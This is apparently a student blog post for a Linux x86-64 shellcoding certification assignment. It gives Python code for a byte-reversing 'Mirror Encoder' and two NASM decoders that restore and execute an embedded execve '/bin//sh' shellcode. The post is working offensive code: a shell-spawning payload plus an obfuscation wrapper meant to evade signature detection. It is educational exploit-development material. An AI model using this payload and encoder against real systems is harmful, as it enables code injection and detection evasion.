This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-6470
Assignment #4
The aim of this assignment is to write a custom shellcode encoder and decoder.
The first thing to do is to dump all the opcodes of the shellcode and think to a way to mix all of them.
Here I’ve chosen a simple but effective algorithm. The encoder starts to swap the first and last opcode then continues to swap opcodes until it reaches the middle of the opcodes. My implementation only works if there is an even number of opcodes. If not, you just need to add one dummy opcode like a NOP. I’ve called this encoder, the « Mirror Encoder ».
Here is a simple diagram showing how this algorithm works :

Encoder
Here is a screenshot of this running encoder and the encoded shellcode :

Mirror-Encoder.py :
#!/usr/bin/python
# This shellcode encoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
# http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
#
# Author : SLAE64-PA-6470 (kahlon81)
# python Mirror-Encoder.py
shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")
encoded = ""
encoded2 = ""
r2 = ""
l2 = ""
rr2 = ""
ll2 = ""
print 'Len: %d' % len(bytearray(shellcode))
print 'Encoded shellcode ...'
arr = bytearray(shellcode)
arr2 = [(arr[i], arr[-i-1]) for i in range(len(arr) // 2)]
#print arr2
for x in range(len(arr2)):
y = arr2[x]
# encode for C
r = '\\x'
r += '%02x' % y[0]
r2 = r + r2
l = '\\x'
l += '%02x' % y[1]
l2 = l2 + l
# encode for ASM
r = '0x'
r += '%02x,' % y[0]
rr2 = r + rr2
l = '0x'
l += '%02x,' % y[1]
ll2 = ll2 + l
# Build encoded strings
encoded = l2 + r2
encoded2 = ll2 + rr2
print 'opcodes for C :'
print encoded
print 'opcodes for ASM :'
print encoded2
Decoder
The decoder is written in assemby and just do the reverse swap.
Here is a screenshot of the running decoder. It decodes the previously encoded shellcode and run it :

The code is self-explanatory, 2 versions available.
Full source code is available here and on my Github account.
Version 1
; This shellcode decoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; $ nasm -f elf64 Mirror-Decoder.nasm -o Mirror-Decoder.o
; $ ld Mirror-Decoder.o -o Mirror-Decoder
global _start
section .data
encoded_sc: db 0x05,0x0f,0x3b,0xc0,0x83,0x48,0xe6,0x89,0x48,0x57,0xe2,0x89,0x48,0x50,0xe7,0x89,0x48,0x53,0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f,0xbb,0x48,0x50,0xc0,0x31,0x48
encoded_sc_size equ $ - encoded_sc
section .text
_start:
lea r8, [rel encoded_sc]
xor rcx, rcx ; offset to first SC byte
mov rdx, encoded_sc_size - 1 ; offset to last SC byte = SC length -1
mov r9, encoded_sc_size ; r9 = SC size / 2
shr r9, 1
decode:
cmp rcx, r9 ; SC length / 2 - stop swapping bytes when we are in the middle
je encoded_sc ; go to decoded shellcode
mov al, byte [r8+rcx] ; save values
mov bl, byte [r8+rdx]
mov byte [r8+rcx], bl ; swap values
mov byte [r8+rdx], al
inc rcx ; go to next byte from left to right
dec rdx ; go to next byte from right to left
jmp short decode
Version 2 (JUMP-CALL-POP)
; This shellcode decoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; $ nasm -f elf64 Mirror-Decoder.nasm -o Mirror-Decoder.o
; $ ld Mirror-Decoder.o -o Mirror-Decoder
global _start
section .text
_start:
jmp ONSTACK
GO_LOOP:
pop r8 ; r8 is the SC address. pop esi crash ?;
xor rcx, rcx ; offset to first SC byte
mov rdx, SC_SIZE - 1 ; offset to last SC byte = SC length -1
mov r9, SC_SIZE ; r9 = SC_SIZE / 2
shr r9, 1
LOOP:
cmp rcx, r9 ; SC length / 2 - stop swapping bytes when we are in the middle
je SC ; go to decoded shell code
mov al, byte [r8+rcx] ; save values
mov bl, byte [r8+rdx]
mov byte [r8+rcx], bl ; swap values
mov byte [r8+rdx], al
inc rcx ; go to next byte from left to right
dec rdx ; go to next byte from right to left
jmp LOOP
section .data
ONSTACK:
call GO_LOOP
SC: db 0x05,0x0f,0x3b,0xc0,0x83,0x48,0xe6,0x89,0x48,0x57,0xe2,0x89,0x48,0x50,0xe7,0x89,0x48,0x53,0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f,0xbb,0x48,0x50,0xc0,0x31,0x48
SC_SIZE equ $ - SC
